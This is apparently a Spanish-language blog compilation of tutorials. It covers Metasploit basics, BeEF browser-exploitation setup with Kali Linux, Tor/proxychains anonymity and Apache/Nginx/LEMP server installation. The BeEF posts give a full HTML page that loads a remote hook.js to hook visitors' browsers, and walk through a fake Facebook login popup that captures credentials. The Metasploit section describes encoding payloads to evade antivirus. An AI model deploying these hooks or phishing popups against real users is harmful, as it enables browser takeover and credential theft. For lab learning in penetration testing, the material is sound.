Metasploit Introduccion: Lo que necesitas saber de Metasploit

Estándar

Introduccion

hola que tal bueno el dia de hoy daremos un poco de introduccion a metasploit conceptos para un futuro tutorial que estoy planeando subir buen procedamos.

Desarrollando

Cuando se encuentre con Metasploit Framework (MSF ) por primera vez , usted puede ser abrumado por su muchas interfaces , opciones , servicios públicos , variables y módulos.por ahora daremos paso a los conceptos básicos que le ayudan a dar sentido a la imagen grande. Revisaremos alguna penetración básica probando terminología y luego cubrir brevemente las distintas interfaces de usuario que Metasploit tiene para ofrecer. Metasploit sí es software libre de código abierto , con muchos colaboradores en la comunidad de seguridad , pero hay dos versiones comerciales Metasploit también están disponibles .
La primera vez que el uso de Metasploit , es importante que no se obsesione con un exploit , en su lugar  se centre en  las funciones Metasploit y qué comandos  utilizó para realizar la hazaña posible.

Terminos que generalmente se usan en metasploit.

 

Exploit

Un exploit es el medio por el cual un atacante , o pen tester para el caso, toma ventaja de una falla en un sistema, una aplicación o un servicio. Un atacante utiliza un exploit para atacar a un sistema de una manera que da lugar a un resultado particular deseado que el desarrollador nunca pretendió . Exploits comunes son desbordamientos de búfer , vulnerabilidades de las aplicaciones web ( como la inyección SQL ), y errores de configuración.

Payload

Una payload es el código que queremos que el sistema se ejecute y que se va a seleccionar y entregado por el marco. Por ejemplo, un reverse shell  es un payload que crea una conexión desde el equipo de destino del atacante como un símbolo del sistema(commmad prompt) de Windows , mientras que un bind shell  es unpayload  que «une (binds)» un símbolo del sistema(command prompt) para un puerto de escucha(listenning) en la máquina de destino, que el atacante puede conectarse. Una carga útil también podría ser algo tan simple como un par de comandos que se ejecutan en el sistema operativo de destino.

Shellcode

Shellcode es un conjunto de instrucciones utilizadas como payload cuando se produce la explotación. Shellcode normalmente se escribe en lenguaje ensamblador. En la mayoría de los casos, se proporcionará un shell de comandos o un shell Meterpreter después de la serie de instrucciones ha sido realizado por el equipo de destino , de ahí el nombre.

Module

Un módulo en el contexto  es una pieza de software que puede ser utilizado por el Metasploit Framework . A veces , usted puede requerir el uso de un exploit module, un componente de software que lleva a cabo el ataque. Otras veces, un módulo auxiliar pueden ser necesarios para llevar a cabo una acción como el escaneado o la enumeración del sistema. Estos módulos intercambiables son el núcleo de lo que hace el Framework tan poderoso

Listener

Un Listener es un componente dentro de Metasploit que espera a una conexión entrante de algún tipo. Por ejemplo , después de que el equipo de destino ha sido explotada , puede llamar a la máquina de atacar a través de Internet . El listener se encarga de esa conexión , a la espera en la máquina atacante para ser contactado por el sistema de explotación.

Metasploit interfaces

msfconsole
Msfconsole es , con mucho, la parte más popular de Metasploit Framework , y por buenas razones . Es una de las herramientas más flexibles, con múltiples funciones , y bien soportada dentro del marco. Msfconsole ofrece una práctica interfaz todo- en-uno para casi todas las opciones y la configuración disponible en el Framework , es como una tienda de una sola parada para todas sus sueños de explotación. Usted puede utilizar msfconsole hacerlo todo, incluyendo el lanzamiento de un exploit , cargando módulos auxiliares , realizando la enumeración, la creación de los oyentes , o correr explotación masiva contra una red completa.
Aunque el Metasploit Framework está en constante cambio , un subconjunto de comandos se mantienen relativamente constantes. Por el dominio de los conceptos básicos de msfconsole , usted será capaz de mantenerse al día con los cambios. Para ilustrar la importancia de msfconsole de aprendizaje.

Inicializando el msfconsole

simplemente en una terminal tipeamos el comando

msfconsole

 

msfconsole

iniciando el msf console

Para acceder a los archivos de ayuda de msfconsole, introduzca help seguido del comando que usted está interesado pulg En el siguiente ejemplo, estamos buscando la ayuda del comando conectar, lo que nos permite comunicarnos con un host. La documentación resultante listas de uso, una descripción de la herramienta, y los diversos indicadores de opción.
msf > help connect
msfconsole

msfconsole

Bien de aqui a futuro expondremos mas a fondo lo que es y como utilizar el msf console. prosigamos
MSFcli
Msfcli y msfconsole toman muy diferentes enfoques para proporcionar acceso al Framework. Dónde msfconsole proporciona una forma interactiva de acceder a todas las funciones de una manera fácil de usar, msfcli pone la prioridad en scripting e interpretación con otras herramientas basadas en la consola. En lugar de proporcionar un intérprete único en el Framework, msfcli corre directamente desde la línea de comandos, que permite redirigir la salida de otras herramientas dentro msfcli y direccionandolo a  msfcli ouput  directo a otras herramientas de línea de comandos. Msfcli también apoya la puesta en marcha de las hazañas y módulos auxiliares, y puede ser conveniente al probar módulos o el desarrollo de nuevos exploits para el Marco. Es una herramienta fantástica para la explotación exclusiva cuando se sabe exactamente que explotan y las opciones que usted necesita. Es menos tolerantes que msfconsole, pero ofrece algo de ayuda básica (incluida la sintaxis y una lista de los modos) con el comando msfcli-h, como se muestra aquí:
msfcli
Armitage
El componente armitage de Metasploit es una interfaz gráfica de usuario totalmente interactiva creada por Raphael Mudge. Esta interfaz es muy impresionante, rico en características, y está disponible de forma gratuita. No vamos a estar cubriendo armitage en profundidad, pero es sin duda vale la pena mencionar como algo que explorar. Nuestro objetivo es enseñar los entresijos de Metasploit, y la interfaz gráfica es impresionante una vez que entienda cómo funciona realmente el Framwork.
armitage

armitage

Metasploit Utilidades
Después de haber cubierto tres interfaces principales de Metasploit , es el momento para cubrir unos servicios públicos. Utilidades de Metasploit son interfaces directos a características particulares del Framework que puede ser útil en situaciones específicas , especialmente en explotar el desarrollo. Vamos a cubrir algunas de las utilidades más accesible aquí.
msfpayload
El componente msfpayload de Metasploit le permite generar código shell , ejecutables , y mucho más para su uso en explotaciones fuera del Framework. Shellcode se puede generar en muchos formatos, incluyendo C , Ruby , JavaScript, e incluso Visual Basic para Aplicaciones. Cada formato de salida será de utilidad en diversas situaciones . Por ejemplo, si usted está trabajando con una prueba basada en Python de concepto , la producción del C-estyle podría ser lo mejor , y si usted está trabajando en un navegador explotar , un formato de salida de JavaScript podría ser lo mejor . Una vez que la salida deseada , puede insertar fácilmente la carga directamente en un archivo HTML para activar el exploit . Para ver qué opciones de la utilidad toma , introduzca msfpayload -h en la línea de comandos , como se muestra aquí:

root@Widrogo:/# msfpayload -h

Al igual que con msfcli , si usted se encuentra atascado en las opciones necesarias para un módulo de carga útil , añadir la letra S en la línea de comandos para obtener una lista de las variables requeridas y opcionales.

MSFencode
El código shell generado por msfpayload es completamente funcional , pero contiene varios caracteres nulos que , cuando se interpreta por muchos programas , significa el fin de una cadena, y esto hará que el código  finalice antes de la terminación . En otras palabras, esos x00s y xffs pueden romper su payload ! Además , shellcode que atraviesa una red en texto plano(cleartext) es probable que sea recogido por los sistemas de detección de intrusos ( IDS) y el software antivirus. Para abordar este problema , los desarrolladores de Metasploit ofrecen msfencode , que le ayuda a evitar malos personajes y evadir los antivirus y los IDS mediante la codificación de la carga original de un modo que no incluya personajes «malos» . Introduzca msfencode -h para ver una lista de opciones msfencode .
Metasploit contiene un número de diferentes codificadores para situaciones específicas. Algunos serán de utilidad cuando se puede utilizar sólo caracteres alfanuméricos , como parte de una carga útil , como es el caso de muchas hazañas de formato de archivo u otras aplicaciones que aceptan caracteres imprimibles sólo como entrada, mientras que otros son grandes codificadores de propósito general que hacen bien en todas las situaciones .
En caso de duda , sin embargo, usted realmente no puede ir mal con el codificador x86/shikata_ga_nai el único codificador con el grado de Excelente , una medida de la fiabilidad y la estabilidad de un módulo. En el contexto de un codificador , un ranking Excelente implica que es uno de los codificadores más versátiles y puede acomodar un mayor grado de ajuste fino que otros codificadores . Para ver la lista de los codificadores disponibles , añadir -l para msfencode como se muestra a continuación. Las cargas útiles están clasificados en orden de fiabilidad.

Nasm Shell
La utilidad nasm_shell.rb puede ser útil cuando usted está tratando de hacer sentido de código ensamblador , sobre todo si , explotar durante el desarrollo, es necesario identificar los códigos de operación (las instrucciones de montaje ) para un comando de montaje dada.

 

Ingenieria Social Metasploit (II) con The Browser Exploitation Framework (BeEF) con Kali Linux

Estándar

Recordando

Bueno en mi anterior tutorial mostramos un poco de la funcion de beef usando algo de Social Engineering, ahora vamos a aplicar le mismo ejercicio a un diferente explorador con un poco de nginx. ya iniciamos todos los servicios que hay que iniciar y proceguimos a otro ejercicio.

Desarrollando

Bueno aclarar que tienen que tener una maquina virtual instalada en mi caso es windows 7 ahora sigamos.

Iniciamos nginx y beef:

service nginx start

service php4-fpm start

Tenemos que tener beef iniciado:

msfconsole_beef

iniciando_beef

entramos a el panel como en el tutorial anterior:

beef_login

Por defecto

Usuario: beef

Password: beef

Selección_006

Aqui en offline browsers vemos algunos exploradores enganchados anteriormente solo son pruebas que hice algunas para este tutorial no las borre. Pero ahora iniciamos nuestra maquina virtual y abrimos un explorador en mi caso sera un chrome, por el cual ingresaremos a nuestro servidor nginx local.

Ahora ingresamos:

cd /usr/share/nginx/www

y creamos un archivo llamado clubfc.html el nombre puede variar no importa mucho lo que me interesa en el contenido:

nano clubfc.html

Guardamos y adentro colocamos el siguiente codigo:

<!doctype html>
<HTML>
  <head>

<title>beef total</title>
</head>

<script src= «http://192.168.1.5:3000/hook.js»type =»text/javascript»></script>
<script>
    
    var commandModuleStr = ‘<script src=»‘ + window.location.protocol + ‘//’ + window.location.host + ‘/hook.js» type=»text/javascript»><\/script>’;
    document.write(commandModuleStr);

</script>
<body>

<h1>BeEF Una Gran Herramienta</h1>

     <p> esto es la etiqueta de párrafo, introduciremos el texto  que deseemos.

Con este ejemplo os quiero mostrar lo sencillo que nos resultaría crear una pagina Web , la cual nos permitiera acceder a todos y cada                    uno de los equipos  que la visitaran creando zombies..¿suena bien verdad?
</p>

</body>

</HTML>

Bien ya tenemos el archivo, ahora voy a explicar que contiene este archivo html solo nos debemos concentrar en la parte de script en esta parte puse un src= «http://192.168.1.5:3000/hook.js» que direcciona a hacia nuestro beef y el explorador que ingrese a ese html quedara engancha a nuestro beef y podemos hacer un ataque parecido al del anterior tuto lo demas es relleno incluso pueden hacerlo lucir mejor con un poco de CSS bien vamos a ver nuestro html como luce junto con nginx y que sucede en el panel debera quedar el explorador enganchado, primero en mi maquina virtual esto luce asi:

Maquina virtual windows7

virtualbox_windows

Como podemos apreciar estamos direccionando a mi ip 192.168.1.5/clubfc.html y ademas mostrando el archivo html que creamos, ahora el BeEF seguramente al ingresar a este html ya engancho el explorador, que es un google chrome veremos que ip presenta.

Selección_015

por terminal tambien podemos ver como engancho o que engancho el BeEF.

BEEF-engancho

Como podemos apreciar en el panel de BeEF  esta imagen en el boton Details veremos algunos datos del navegador como el sistema operativo que usa, etc, la herramienta engancho a el explorador haremos un ataque sencillo con el login facebook como el anterior tutorial solo para ver que sirve.

beef_panel

presionamos beef_execute

y miramos que sucede  en la maquina virtual en el google chrome.

beef_social_engineering

igualmente podemos ingresar algunos datos y nos tendria que aparecer en el Pretty Thref donde hicimos el ataque de este login

pretty_thef

ahora haremos algo parecido solo que con facebook en un siguiente tutorial

Ingenieria Social Metasploit (I) con The Browser Exploitation Framework (BeEF) con Kali Linux

Estándar

Recordandologo

Tutoriañes anteriores:

https://widrogo.wordpress.com/2014/01/14/introduciendonos-a-the-browser-exploitation-framework-beef-con-kali-linux/

https://widrogo.wordpress.com/2014/01/14/configurando-metasploit-a-the-browser-exploitation-framework-beef-con-kali-linux/

En anteriores tutoriales mostramos como configurar correctamente los archivos de beef tambien como habilitar los Metasploit con la msfconsole ahora avanzaremos, en que tipos de ataques puedo lanzar con BeEF.

Desarrollo

Primeramente vamos a iniciar mediante terminal  nuestros servicios que utilizaremos en el desarrollo de este ejercicio lo servicios a iniciar son, NGINX, PHP5-FPM ,MSFCONSOLE, BEEF, TOR Y PRIVOXI  los servicios de tor y privoxi no son necesarios son para conservar nuestro anonimato pero como seran pruebas locales no las necesitaremos, pero es importante saber de su uso por eso le deje el link que lo dirigira a uno de mis tutos dobre instalacion y configuracion de este continuemos, de la siguiente manera vamos iniciando todos los servicios:

service nginx start

service php5-fpm start

service tor start

service privoxi start

Ahora iniciamos BeEF con el metasploit que se inicia en msfconsole asi:

ingresamos a la carpeta de BeEF metasploit mediante terminal:

cd /usr/share/beef-xss/extensions/metasploit

y luego iniciamos la msfconsole para el metasploit:

msfconsole -r BeEF.rc

Sin problemas miraremos esto:

msfconsole_beef

Bien ahora ingresamos a la carpeta de beef y lo iniciamos:

cd /usr/share/beef-xss

./beef

lucira asi sin errores :

iniciando_beef

sin problemas ahora como en los tutoriales anteriores ahora avancemos.

En un explorador en mi caso Icewaesel, abrimos nuestro BeEF Panel en la siguiente pantalla mostraremos esto. En mi caso la direccion es la siguiente:

http://192.168.1.5:3000/ui/panel

Al poner esta direccion en un explorador lucira asi:

beef_login

Por defecto el usuario y la clave son: beef

Selección_006

podran ller algo asi

Getting Started

Welcome to BeEF!

Before being able to fully explore the framework you will have to ‘hook’ a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.

 

estara con azul el segundo HERE . Bueno ahora nos llevara a la siguiente pagina que es mi ip, en su caso la ip sera distinta supongo:

http://192.168.1.5:3000/demos/butcher/index.html

donde nos mostrara esto:

meat_beef

y si volvemos al panel veremos claramente que la herramienta agarro nuestro ip:

beef_ip

donde dice Online Browsers:

ahora que pasa por terminal lo siguiente :

ip_agarrado_beef

bien ahora tenemos un explorador  como podemos ver en terminal no muestra algunos datos como ser ip y demas la cosa es que tenemos un explorador enganchado a nuestro beef, en este caso en mi explorador por lo tanto la ip sera la mia en un proximo tutotial mostrare mas a fondo esto ahora quiero enfocarme que podemos hacer caundo tenemos un explorador enganchado.

volvemos al panel:

beef_panel

 

Bueno presionamos en la ip donde dice Online Browser ahora pulsamos en la ip en mi caso 192.168.1.5 luego en commands buscamos Social Engineering luego presionamos en Pretty Thef debe estar con un boton naranja al principio bueno nos aparecera la anterior pantalla y presionamos el boton Execute.

beef_execute

ahora miramos que pasa en la direccion dada anteriormente esta:

meat_beef

Ahora que PRESIONAMOS EXECUTE pasa esto:

beef_attack

Mira ahora aparecio una ventanita con estilo parecido al Facebook don una persona puede poner su email y password y quedara grabado en el panel de BeEF, en este caso puse un email  y password falsos. y lo podremos mirar en el panel:

beef_panel

 

pretty_thef

ahora en un siguiente tutorial mostrare otro tipo de ataque en una maquina virtual asi que tengan lista sus virtuales ok.

Configurando Metasploit a The Browser Exploitation Framework (BeEF) con Kali Linux

Estándar

En un tutorial anterior ya vimos con hacer algunas de las configuraciones esto es solo la finalizacion bueno empecemos.

iniciando_beef

Bueno como podran apreciar en la imagen el metasploit esta activado:

[*] Successful connection with Metasploit.

[*] Loaded 257 Metasploit exploits.

Explicare como hacer funcionar esto en un anterior tutorial explicamos que entren a /usr/share/beef-xss y  busquen el archivo config.yaml para modificarlo.

cd /usr/share/beef-xss

vim config.yaml

Y buscamos la parte metasploit y la ponemos enable: true.

       metasploit:
            enable: true

Eso ya lo explique anteriormente aqui. Bueno realicen todo lo explicado y avancemos.

Bien esto es nuevo ahora entramos a:

cd /usr/share/beef-xss/extensions/metasploit

Y creamos un archivo llamado BeEF.rc asi:

nano BeEF.rc

ahora dentro de este ponemos lo siguiente:

load msgrpc ServerHost=192.168.1.5 Pass=abc123

Ahora lo guardamos ctrl+o y ctrl+x listo, el 192.168.1.5 es mi ip de mi maquina el Pass esta por defecto en la misma carpeta /usr/share/beef-xss/extensions/metasploit en un archivo que se llama config.yaml ahora que tambien configuramos anteriormente.

Ahora bien usaremos la msfconsole la buena msfconsole bien sin salir de la carpeta /usr/share/beef-xss/extensions/metasploit y ahi ejecutamos el siguiente comando:

msfconsole -r BeEF.rc

esperamos y miraremos algo parecido a esto:

msfconsole_beef

ahora ya esta todo listo hacemos correr BeEF nuevamente en una nueva terminal dejen la anterior terminal abierta, nos vamos a la carpeta donde se encuentra.

cd /usr/share/beef-xss

./beef

y ya tendra que estar el metasploit:

iniciando_beef

Bueno como podran apreciar en la imagen el metasploit esta activado:

[*] Successful connection with Metasploit.

[*] Loaded 257 Metasploit exploits.

y ya esta bien el metasploit en un siguiente tuto empezaremos a usar todas estas herramientas instaladas y configuradas.

Introduciendonos a The Browser Exploitation Framework (BeEF) con Kali Linux

Estándar

¿Qué es la BeEF?logo

La BeEF es la abreviatura de The Browser Exploitation Framework. Es una herramienta de pruebas de penetración que se centra en el navegador web.

En medio de la creciente preocupación por los ataques procedentes de Internet en contra de los clientes, incluyendo clientes móviles, BeEF permite la prueba de intrusión profesional para evaluar la situación de seguridad actual de un entorno de destino mediante el uso de vectores de ataque del lado del cliente. A diferencia de otros marcos de seguridad, BeEF mira más allá del perímetro de la red endurecido y sistema cliente, y examina explotabilidad en el marco de la puerta abierta: el navegador web. BeEF enganchará uno o más de los navegadores web y los utilizan como cabezas de playa para el lanzamiento de los módulos de comando dirigidas y nuevos ataques contra el sistema desde dentro del contexto del explorador.

Overview

The Browser Exploitation Framework (BeEF ) es una poderosa herramienta de seguridad profesional. La BeEF es técnicas pioneras que proporcionan la prueba de intrusión con experiencia con los vectores de ataque del lado del cliente prácticos. A diferencia de otros marcos de seguridad , BeEF se centra en el aprovechamiento de las vulnerabilidades del navegador para evaluar la postura de seguridad de un objetivo. Este proyecto es desarrollado exclusivamente para la investigación legal y pruebas de penetración .

BeEF engancha uno o más navegadores web como cabezas de playa para la puesta en marcha de los módulos de mando dirigidos . Cada navegador es probable que sea en un contexto de seguridad diferente , y cada contexto puede proporcionar un conjunto de vectores de ataque únicos. El marco permite que el probador de la penetración para seleccionar los módulos específicos ( en tiempo real ) para apuntar cada navegador , y por lo tanto cada contexto.

El marco contiene numerosos módulos de comando que emplean API sencilla y potente de la BeEF. Esta API está en el corazón de la eficacia y eficiencia de la estructura. Se abstrae la complejidad y facilita el desarrollo rápido de los módulos personalizados.

Introduccion

Como introduccion a BeEF quisiera hablar un poco de la configuracion y como iniciarlo:

Pasemos a la practica bueno la verdad quieren saber mas de BeEF entren a los siguientes enlaces lean la documentacion:

http://www.beefproject.com/

https://github.com/beefproject/beef/wiki

Bueno lo que aqui voy a mostrar es como usarlo primero una serie de requisitos:

  • tener instalado apache o nginx no cualquiera el que sea de su preferencia no me interesa o tambien pueden tener instalado los 2  alla ustedes.
  • tener instalado virtual box.
  • una maquina virtual windows para hacer pruebas.

En Kali linux ya tenemos instalado por defecto a BeEF su localizacion es en /usr/share/beef-xss o tambien en «Kali Linux>herramiental de explotacion>plataforma XSS BeEF» bueno pero entramos por terminal empezaremos a correr el programa.

Entramos al directorio de BeEF por terminal

captura1

ahora con el comando en terminal

cd /usr/share/beef-xss

vim config.yaml

entramos  a la configuracion de beef lucira parecido a esto pero no he copiado todo el archivo:

#
# Copyright (c) 2006-2013 Wade Alcorn – wade@bindshell.net
# Browser Exploitation Framework (BeEF) – http://beefproject.com
# See the file ‘doc/COPYING’ for copying permission
#
# BeEF Configuration file

beef:
    version: ‘0.4.4.8-alpha’
    debug: false

    […]

    […]
    # You may override default extension configuration parameters here
    extension:
        requester:
            enable: true
        proxy:
            enable: true
        metasploit:
            enable: false
        social_engineering:
            enable: true
        evasion:
            enable: false
        console:
             shell:
                enable: false
        ipec:
            enable: true

Lo que quiero es cambiar la parde de metasploit justamente asi:

       metasploit:
            enable: true

Guardamos y cerramos el archivo.

Ahora en /usr/share/beef-xss/extensions/metasploit igualmente configuramos el archivo config.yaml.

cd /usr/share/beef-xss/extensions/metasploit

vim config.yaml

En las partes donde diga <TU DIRECCION IP AQUI> solo pongan su direccion ip. En caso de que no sepas tu direccion ip mirala con el siguiente comando en terminal:

ifconfig

ifconfig

En mi caso mi direccion ip es 192.168.1.5  la pongo en <TU DIRECCION IP AQUI> en el config.yaml y entre las comillas sera algo asi:

config.yaml

#
# Copyright (c) 2006-2013 Wade Alcorn – wade@bindshell.net
# Browser Exploitation Framework (BeEF) – http://beefproject.com
# See the file ‘doc/COPYING’ for copying permission
#
# Enable MSF by changing extension:metasploit:enable to true
# Then set msf_callback_host to be the public IP of your MSF server
#
# Ensure you load the xmlrpc interface in Metasploit
# msf > load msgrpc ServerHost=10.211.55.2 Pass=abc123 ServerType=Web
# Please note that the ServerHost parameter must have the same value of host and callback_host variables here below.
# Also always use the IP of your machine where MSF is listening.
beef:
    extension:
        metasploit:
            name: ‘Metasploit’
            enable: true
            host: «<TU DIRECCION IP AQUI>»
            port: 55552
            user: «msf»
            pass: «abc123»
            uri: ‘/api’
            ssl: false
            ssl_version: ‘SSLv3’
            ssl_verify: true
            callback_host: «<TU DIRECCION IP AQUI>«
            autopwn_url: «autopwn»
            auto_msfrpcd: false
            auto_msfrpcd_timeout: 120
            msf_path: [
              {os: ‘osx’, path: ‘/opt/local/msf/’},
              {os: ‘livecd’, path: ‘/opt/metasploit-framework/’},
              {os: ‘bt5r3’, path: ‘/opt/metasploit/msf3/’},
              {os: ‘bt5’, path: ‘/opt/framework3/msf3/’},
              {os: ‘backbox’, path: ‘/opt/metasploit3/msf3/’},
              {os: ‘kali’, path: ‘/usr/share/metasploit-framework/’},
              #{os: ‘pentoo’, path: ‘/usr/lib64/metasploit9999/’},
              {os: ‘pentoo’, path: ‘/usr/lib/metasploit’},
              {os: ‘win’, path: ‘c:\\metasploit-framework\\’},
              {os: ‘custom’, path: »}
            ]

Guardamos y salimos. Bien ahora iniciamos el beef abrimos una terminal en nuestro Kali Linux y ejecutamos:

cd /usr/share/beef-xss

./beef

miraremos algo asi:

iniciando_beef

en mi caso ya esta ejecutandose el Metasploit en el siguiente tutorial explicare como configurar metasploit.

Como instalar y configurar Tor para distintas aplicaciones

Estándar

Este tutorial va dirigido a distintas distribuciones ya se kali linux debian o ubuntu(solo la configuracion ya sea firefox o iceweasel)

¿Qué es Tor ?

Tor es un software libre y una red abierta que le ayuda a defenderse contra el análisis de tráfico, una forma de vigilancia que amenaza la libertad personal y la privacidad , confidencialidad en los negocios y las relaciones, y la seguridad del Estado . En esta guía se dirige a su través de la instalación de Tor en Kali Linux.
Por qué es importante el anonimato ?

Tor le protege transmitiendo sus comunicaciones a través de una red distribuída de repetidores llevados por voluntarios de todo el mundo : evita que alguien que observa su conexión a Internet aprenda qué sitios visita , y evita que los sitios que visita aprendan su posición física.
[ Fuente: https://www.torproject.org/ ]
Instalando Tor en Kali Linux:
Primera opcion para instalar#1:

Tor está disponible en Kali repositorio, para instalarlo directamente desde el repositorio de abrir su terminal y escriba lo siguiente:

apt-get install tor

Si no se produce ningún error, siga el segundo paso.

Paso #1:

En caso de no tener kali y tienes debian utiliza este comando en la terminal para acceder a los repositorios.

leafpad /etc/apt/sources.list

ahora añade esta linea en el repositorio.

deb http://deb.torproject.org/torproject.org wheezy main

Paso #2:

Ahora tenemos que añadir la clave gpg utilizada para firmar los paquetes ejecutando los siguientes comandos::

gpg –keyserver keys.gnupg.net –recv 886DDD89
gpg –export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add

Paso #3:

Luego actualizamos nuestros repositorios:

apt-get update

Paso #4:

Ahora, antes de instalar el Tor hay que añadir la clave de firma.

apt-get install deb.torproject.org-keyring

Paso #5:

Finalmente

apt-get install tor

Ahora Tor se debe instalar !

Tambien instalamos prioxichains:

apt-get install privoxy proxychains

Tan sólo tendremos que levantar el servicio Tor y prioxi de la siguiente forma:

service tor start

service privoxy start

Ya tenemos nuestro Tor escuchando por el puerto por defecto, 9050:

Anonimato con Tor y Proxychains

Anonimato con Tor y Proxychains

Ahora veamos qué hacer con Proxychains. Abriremos el fichero de configuración

leafpad /etc/proxychains.conf

y comprobaremos que al final del fichero aparece algo similar a esto(y si no simplemente lo agregamos):

Anonimato con Tor y Proxychains

Anonimato con Tor y Proxychains

ahora e:n

leafpad /etc/privoxy/config

Buscamos, cambiamos y descomentamos la siguiente linea:

        #                              forward-socks5   /               127.0.0.1:9050 .

Debe quedar asi:

                                        forward-socks5   /               localhost:9050 .

ahora una vez echo todo esto reiniciamos los servicios:

service tor restart

service privoxy restart

ahora ya esta completa la configuracion pasamos a configurar nuestro navegador ya sea Icewesel o Firefox

entramos a Editar>preferencias>avanzado>redes>configuracion debe ser algo asi el mio lo tengo en ingles lo importante es que lleguen a la parte de network o redes y entren  a configuracion. debe quedar asi:

Selección_001

la configuracion es asi por si no se ve bien la imagen.

HTTP proxi localhost Puerto: 8118

SSL proxi localhost Puerto: 8118

FTP proxi localhost Puerto: 8118

SOCKS host 127.0.0.1 Puerto: 9050

y ahora vemos que este funcionando bien tanto Tor como Proxychains. Para eso entramos a sus url de checkeo para verificar son las siguientes:

Selección_002

Selección_003

 

 

 

 

 

 

Tener instalado NGINX junto a Apache en mi Debian o Kali Linux

Estándar

Bueno primero instalaremos Apache ok como ya hice la instalacion anteriormente le dejo el link aqui. Y ponemos el siguiente comando en terminal

service apache2 stop

Haremos lo mismod con Nginx lo instalamos igualmente ya lo hice en un tutorial anterior les dejo el link aqui.

service nginx stop

ahora hay que configurar el puerto de apache. estos son los 2 archivos que hay que configurar deacuerdo a tu version de apache /etc/apache2/ports.conf y /etc/apache2/sites-enabled/000-default.

En el archivo de configuracion /etc/apache2/ports.conf en la parte NameVirtualHost *:80 y Listen 80  cambien la parte de 80 a 8080

# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default
# This is also true if you have upgraded from before 2.2.9-3 (i.e. from
# Debian etch). See /usr/share/doc/apache2.2-common/NEWS.Debian.gz and
# README.Debian.gz

NameVirtualHost *:8080
Listen 8080

<IfModule mod_ssl.c>
# If you add NameVirtualHost *:443 here, you will also have to change
# the VirtualHost statement in /etc/apache2/sites-available/default-ssl
# to <VirtualHost *:443>
# Server Name Indication for SSL named virtual hosts is currently not
# supported by MSIE on Windows XP.
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>

Ahora en /etc/apache2/sites-enabled/000-default veremos algo asi <VirtualHost *:80>  el 80 cambiamos a 8080

<VirtualHost *:8080>
ServerAdmin webmaster@localhost

DocumentRoot /var/www
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>

ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory «/usr/lib/cgi-bin»>
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.log

# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn

CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

 

Ahora iniciamos el apache y el nginx.

service apache2 start

service nginx start

ahora el servidos de apache debera iniciar de la siguiente forma

localhost:8080

y el de nginx solo

localhost

Cómo instalar Linux, Nginx, MySQL, PHP (LEMP) en Debian o Kali linux

Estándar

LEMP es un grupo de software de código abierto para conseguir un VPS (Servidor Privado Virtual) en marcha y funcionando. El acrónimo incluye el Linux (L), MySQL (M) y PHP (P) es LAMP más tradicional, pero cambia a Apache por Nginx (pronunciado motor x).

En este tutorial se explica cómo instalar nginx / MySQL / PHP-FPM, así como todos los repositorios necesarios para descargar nginx y php-FPM. También se examinará la forma de configurar php y nginx, así como la forma de crear una página de información php.
Antes de ejecutar a través de los pasos de este tutorial, asegúrese de que todos sus repositorios están al día:

apt-get update

Con eso terminaron, seguir adelante y empezar a instalar el servidor LAMP.

Paso a Uno Instalar MySQL
MySQL es un sistema de gestión de bases de datos ampliamente desplegado – utilizado para organizar y recuperar datos. Para instalar MySQL, terminal abierto y escriba los siguientes comandos:

apt- get install mysql-server

Durante la instalación , MySQL le pedirá establecer una contraseña de root. Si deja pasar la oportunidad de establecer la contraseña mientras el programa es la instalación , es muy fácil de configurar la contraseña más adelante dentro de la cáscara de MySQL.

Terminar ejecutando en terminal  un script que crea el  MySQL:

 mysql_secure_installation

El mensaje le pedirá la contraseña de root actual usted.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

En caso de que tengan algun error al tipear su contraseña y le salga este error:

ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/run/mysqld/mysqld.sock’ (2)

Generalmente es un error que paso en Kali linux pero se soluciona asi:

creamos un directorio con el comando mkdir en caso de que ya exista proceguir con el siguiente comando:

mkdir /var/run/mysqld
touch /var/run/mysqld/mysqld.sock

chown -R mysql /var/run/mysqld
/etc/init.d/mysql restart

y ya tendria que funcionar cualquie cosa en los comentarios respondo ok continuemos.
A continuación, el mensaje que le preguntará si desea cambiar la contraseña de root . Seguir adelante y elegir N y pasar a las etapas siguientes. Es más fácil sólo para decir Sí a todas las opciones . Al final , MySQL se volverá a cargar y aplicar los nuevos cambios. acontinuacion todo Y sera algo asi.

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them.  This is intended only for testing, and to make the installation
go a bit smoother.  You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] y                                            
 ... Success!

Normally, root should only be allowed to connect from 'localhost'.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] y
... Success!

By default, MySQL comes with a database named 'test' that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] y
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] y
 ... Success!

Cleaning up...

Una vez que hayas terminado con eso se puede terminar con la instalación de GNIX y PHP en el servidor virtual.

Paso Dos Instalar y configurar Nginx en su VPS
instalación
Primera instalación es sencilla con el comando apt- get .

sudo apt- get install nginx

nginx necesita una orden para empezar a ejecutar :

sudo service nginx start

Ahora bien, si apunta su navegador a su dirección IP , debe confirmar que nginx se ha instalado correctamente en el servidor de la nube.

* Ejecute el siguiente comando para mostrar la dirección IP de su VPS .

ifconfig eth0 | grep inet | awk ‘{ print $ 2 }’

configuración
Abra el archivo de host virtual por defecto con este comando:

sudo nano /etc/nginx/sites-available/default

La configuración debe incluir los cambios a continuación ( los detalles de los cambios están bajo la información de configuración) :

